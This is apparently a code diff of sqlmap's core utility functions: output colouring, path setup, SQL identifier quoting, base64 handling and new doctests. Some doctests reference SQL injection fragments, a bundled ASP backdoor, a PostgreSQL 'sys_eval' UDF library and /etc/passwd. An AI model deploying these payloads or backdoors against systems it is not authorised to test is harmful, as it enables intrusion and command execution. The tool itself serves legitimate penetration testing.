from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
@@ -115,6 +117,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import DOLLAR_MARKER
from lib.core.settings import DUMMY_USER_INJECTION
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
from lib.core.settings import ERROR_PARSING_REGEXES
@@ -212,7 +215,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
for (key, value) in self._defaults.items():
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
fp.write("\n")
@@ -222,9 +225,9 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
for (key, value) in self._sections[section].items():
if key != "__name__":
if value is None:
fp.write("%s\n" % (key))
else:
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
fp.write("\t%s\n" % (key))
elif not isListLike(value):
fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
fp.write("\n")
@@ -558,6 +561,10 @@ class Backend(object):
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
@staticmethod
def isFork(fork):
return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
@staticmethod
def isDbmsWithin(aliases):
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
@@ -624,7 +631,8 @@ def paramToDict(place, parameters=None):
if parameter in (conf.base64Parameter or []):
try:
oldValue = value
kb.base64Originals[parameter] = oldValue = value
value = urldecode(value, convall=True)
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
except:
@@ -670,17 +678,21 @@ def paramToDict(place, parameters=None):
elif isinstance(current, dict):
for key in current.keys():
value = current[key]
if isinstance(value, (list, tuple, set, dict)):
if value:
walk(head, value)
elif isinstance(value, (bool, int, float, six.string_types)):
if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
original = current[key]
if isinstance(value, bool):
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
elif value is None:
current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
elif value == []:
current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
current[key] = original
elif isinstance(value, (list, tuple, set, dict)):
if value:
walk(head, value)
deserialized = json.loads(testableParameters[parameter])
walk(deserialized)
@@ -930,20 +942,40 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
>>> setColor("Hello World", color="red", istty=True)
'\\x1b[31mHello World\\x1b[0m'
>>> setColor("[INFO] Hello World", istty=True)
'[\\x1b[32mINFO\\x1b[0m] Hello World'
>>> setColor("[INFO] Hello [CRITICAL] World", istty=True)
'[INFO] Hello [CRITICAL] World'
"""
retVal = message
level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
if bold or color:
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
elif level:
try:
level = getattr(logging, level, None)
except:
level = None
retVal = LOGGER_HANDLER.colorize(message, level)
if message:
if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
if level is None:
levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
if len(levels) == 1:
level = levels[0]
if bold or color:
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
elif level:
try:
level = getattr(logging, level, None)
except:
level = None
retVal = LOGGER_HANDLER.colorize(message, level)
else:
match = re.search(r"\(([^)]*)\s*fork\)", message)
if match:
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
if not any(_ in message for _ in ("Payload: ",)):
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
message = message.strip()
return retVal
@@ -962,11 +994,17 @@ def clearColors(message):
return retVal
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
"""
Writes text to the stdout (console) stream
"""
if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
if re.search(r"\(\d+%\)", data):
data = ""
else:
data = "\n%s" % data.strip("\r")
if not kb.get("threadException"):
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
multiThreadMode = isMultiThreadMode()
@@ -975,9 +1013,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
try:
if conf.get("api"):
sys.stdout.write(stdoutEncode(clearColors(data)), status, content_type)
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
else:
sys.stdout.write(stdoutEncode(setColor(data, bold=bold)))
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
sys.stdout.flush()
except IOError:
@@ -1015,6 +1053,16 @@ def dataToDumpFile(dumpFile, data):
raise
def dataToOutFile(filename, data):
"""
Saves data to filename
>>> pushValue(conf.get("filePath"))
>>> conf.filePath = tempfile.gettempdir()
>>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
True
>>> conf.filePath = popValue()
"""
retVal = None
if data:
@@ -1109,7 +1157,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if not retVal: # Note: Python doesn't print newline on empty input
dataToStdout("\n")
retVal = retVal.strip() or default
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal
except:
try:
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
@@ -1192,9 +1240,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
"""
if seed is not None:
_ = getCurrentThreadData().random
_.seed(seed)
choice = _.choice
_random = getCurrentThreadData().random
_random.seed(seed)
choice = _random.choice
else:
choice = random.choice
@@ -1226,10 +1274,12 @@ def getHeader(headers, key):
"""
retVal = None
for _ in (headers or {}):
if _.upper() == key.upper():
retVal = headers[_]
for header in (headers or {}):
if header.upper() == key.upper():
retVal = headers[header]
break
return retVal
def checkPipedInput():
@@ -1238,7 +1288,7 @@ def checkPipedInput():
# Reference: https://stackoverflow.com/a/33873570
"""
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
def isZipFile(filename):
"""
@@ -1310,7 +1360,7 @@ def banner():
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
result = BANNER
if not IS_TTY or "--disable-coloring" in sys.argv:
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
result = clearColors(result)
elif IS_WIN:
coloramainit()
@@ -1328,9 +1378,9 @@ def parsePasswordHash(password):
>>> kb.forcedDbms = popValue()
"""
blank = " " * 8
blank = ' ' * 8
if isNoneValue(password) or password == " ":
if isNoneValue(password) or password == ' ':
retVal = NULL
else:
retVal = password
@@ -1410,6 +1460,7 @@ def setPaths(rootPath):
checkFile(path)
if IS_WIN:
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
if os.getenv("LOCALAPPDATA"):
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
elif os.getenv("USERPROFILE"):
@@ -1419,11 +1470,17 @@ def setPaths(rootPath):
else:
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
if not os.path.isdir(paths.SQLMAP_HOME_PATH):
if "XDG_DATA_HOME" in os.environ:
paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
else:
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# history files
# History files
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
@@ -1467,7 +1524,7 @@ def parseTargetDirect():
if details:
conf.dbms = details.group("dbms")
if details.group('credentials'):
if details.group("credentials"):
conf.dbmsUser = details.group("user")
conf.dbmsPass = details.group("pass")
else:
@@ -1579,8 +1636,8 @@ def parseTargetUrl():
originalUrl = conf.url
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
errMsg = "IPv6 addressing is not supported "
if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
errMsg = "IPv6 communication is not supported "
errMsg += "on this platform"
raise SqlmapGenericException(errMsg)
@@ -1637,7 +1694,7 @@ def parseTargetUrl():
conf.port = 80
if conf.port < 1 or conf.port > 65535:
errMsg = "invalid target URL's port (%d)" % conf.port
errMsg = "invalid target URL port (%d)" % conf.port
raise SqlmapSyntaxException(errMsg)
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
@@ -1649,13 +1706,13 @@ def parseTargetUrl():
else:
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders):
debugMsg = "setting the HTTP Referer header to the target URL"
logger.debug(debugMsg)
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders):
debugMsg = "setting the HTTP Host header to the target URL"
logger.debug(debugMsg)
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
@@ -1669,6 +1726,11 @@ def escapeJsonValue(value):
Escapes JSON value (used in payloads)
# Reference: https://stackoverflow.com/a/16652683
>>> "\\n" in escapeJsonValue("foo\\nbar")
False
>>> "\\\\t" in escapeJsonValue("foo\\tbar")
True
"""
retVal = ""
@@ -1688,7 +1750,7 @@ def expandAsteriskForColumns(expression):
the SQL query string (expression)
"""
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
if match:
infoMsg = "you did not provide the fields in your query. "
@@ -1843,6 +1905,12 @@ def getLocalIP():
def getRemoteIP():
"""
Get remote/target IP address
>>> pushValue(conf.hostname)
>>> conf.hostname = "localhost"
>>> getRemoteIP() == "127.0.0.1"
True
>>> conf.hostname = popValue()
"""
retVal = None
@@ -1969,6 +2037,9 @@ def normalizePath(filepath):
def safeFilepathEncode(filepath):
"""
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
>>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
True
"""
retVal = filepath
@@ -2001,6 +2072,8 @@ def safeStringFormat(format_, params):
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
'SELECT foo FROM bar LIMIT 1'
>>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
"SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
"""
if format_.count(PAYLOAD_DELIMITER) == 2:
@@ -2044,7 +2117,10 @@ def safeStringFormat(format_, params):
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
raise SqlmapValueException(warnMsg)
else:
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
try:
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
except re.error:
retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
count += 1
else:
break
@@ -2175,6 +2251,15 @@ def isHexEncodedString(subject):
def isMultiThreadMode():
"""
Checks if running in multi-thread(ing) mode
>>> isMultiThreadMode()
False
>>> _ = lambda: time.sleep(0.1)
>>> thread = threading.Thread(target=_)
>>> thread.daemon = True
>>> thread.start()
>>> isMultiThreadMode()
True
"""
return threading.activeCount() > 1
@@ -2183,6 +2268,9 @@ def isMultiThreadMode():
def getConsoleWidth(default=80):
"""
Returns console width
>>> any((getConsoleWidth(), True))
True
"""
width = None
@@ -2389,6 +2477,9 @@ def initCommonOutputs():
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
"""
Returns newline delimited items contained inside file
>>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
True
"""
retVal = list() if not unique else OrderedDict()
@@ -2495,8 +2586,8 @@ def goGoodSamaritan(prevValue, originalCharset):
def getPartRun(alias=True):
"""
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
Returns it or its alias used in 'txt/common-outputs.txt'
Goes through call stack and finds constructs matching
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
"""
retVal = None
@@ -2703,6 +2794,12 @@ def extractErrorMessage(page):
retVal = candidate
break
if not retVal and wasLastResponseDBMSError():
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
if match:
retVal = match.group(0)
return retVal
def findLocalPort(ports):
@@ -2803,6 +2900,10 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
>>> urlencode('AND 1>(2+3)#')
'AND%201%3E%282%2B3%29%23'
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
"""
if conf.get("direct"):
@@ -2812,6 +2913,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
result = None if value is None else ""
if value:
value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
warnMsg = "if you experience problems with "
warnMsg += "non-ASCII identifier names "
@@ -2825,6 +2928,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
# encoded (when not representing URL encoded char)
# except in cases when tampering scripts are used
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
while True:
@@ -2845,6 +2949,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
if spaceplus:
result = result.replace(_urllib.parse.quote(' '), '+')
result = result.replace(DOLLAR_MARKER, '$')
return result
def runningAsAdmin():
@@ -3221,7 +3327,7 @@ def parseSqliteTableSchema(value):
Parses table column names and types from specified SQLite table schema
>>> kb.data.cachedColumns = {}
>>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
>>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
True
>>> repr(kb.data.cachedColumns).count(',') == 1
True
@@ -3233,9 +3339,9 @@ def parseSqliteTableSchema(value):
table = {}
columns = {}
for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
retVal = True
columns[match.group(1)] = match.group(2)
columns[match.group(1)] = match.group(2) or "TEXT"
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
kb.data.cachedColumns[conf.db] = table
@@ -3332,7 +3438,7 @@ def setOptimize():
# conf.predictOutput = True
conf.keepAlive = True
conf.threads = 3 if conf.threads < 3 else conf.threads
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
if not conf.nullConnection:
@@ -3509,7 +3615,7 @@ def isListLike(value):
False
"""
return isinstance(value, (list, tuple, set, BigArray))
return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
def getSortedInjectionTests():
"""
@@ -3693,7 +3799,7 @@ def unhandledExceptionMessage():
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % platform.platform()
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:"
@@ -3988,7 +4094,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
thread.start()
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
if thread.isAlive():
if thread.is_alive():
kb.reflectiveMechanism = False
retVal = content
if not suppressWarning:
@@ -4067,25 +4173,27 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal)
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
if not conf.noEscape:
retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
else:
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
retVal = "[%s]" % retVal
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
else:
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
retVal = "[%s]" % retVal
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -4108,9 +4216,9 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
@@ -4672,7 +4780,7 @@ def serializeObject(object_):
"""
Serializes given object
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
True
"""
@@ -4790,6 +4898,8 @@ def extractExpectedValue(value, expected):
True
>>> extractExpectedValue('1', EXPECTED.INT)
1
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
True
"""
if expected:
@@ -4813,8 +4923,10 @@ def extractExpectedValue(value, expected):
else:
value = None
elif expected == EXPECTED.INT:
if isinstance(value, six.string_types):
value = int(value) if value.isdigit() else None
try:
value = int(value)
except:
value = None
return value
@@ -4898,6 +5010,14 @@ def decloakToTemp(filename):
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
True
>>> os.remove(_)
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
True
>>> os.remove(_)
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
True
>>> os.remove(_)
"""
content = decloak(filename)
@@ -4931,6 +5051,12 @@ def getRequestHeader(request, name):
Solving an issue with an urllib2 Request header case sensitivity
# Reference: http://bugs.python.org/issue2275
>>> _ = lambda _: _
>>> _.headers = {"FOO": "BAR"}
>>> _.header_items = lambda: _.headers.items()
>>> getText(getRequestHeader(_, "foo"))
'BAR'
"""
retVal = None
@@ -5028,6 +5154,13 @@ def pollProcess(process, suppress_errors=False):
def parseRequestFile(reqFile, checkParams=True):
"""
Parses WebScarab and Burp logs and adds results to the target URL list
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
>>> _ = os.write(handle, content)
>>> os.close(handle)
>>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
True
"""
def _parseWebScarabLog(content):
@@ -5146,6 +5279,11 @@ def parseRequestFile(reqFile, checkParams=True):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Note: overriding values with --headers '...'
match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
if match:
key, value = match.groups()
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
cookie = value
@@ -5165,7 +5303,7 @@ def parseRequestFile(reqFile, checkParams=True):
params = True
# Avoid proxy and connection type related headers
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
headers.append((getUnicode(key), getUnicode(value)))
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
+55 -8
View File
@@ -48,16 +48,16 @@ def base64pickle(value):
retVal = None
try:
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
except:
warnMsg = "problem occurred while serializing "
warnMsg += "instance of a type '%s'" % type(value)
singleTimeWarnMessage(warnMsg)
try:
retVal = encodeBase64(pickle.dumps(value))
retVal = encodeBase64(pickle.dumps(value), binary=False)
except:
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
return retVal
@@ -95,7 +95,7 @@ def htmlUnescape(value):
try:
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
except ValueError:
except (ValueError, OverflowError):
pass
return retVal
@@ -198,8 +198,32 @@ def decodeBase64(value, binary=True, encoding=None):
True
>>> decodeBase64("MTIz", binary=False)
'123'
>>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
True
>>> decodeBase64(b"MTIzNA") == b"1234"
True
>>> decodeBase64("MTIzNA") == b"1234"
True
>>> decodeBase64("MTIzNA==") == b"1234"
True
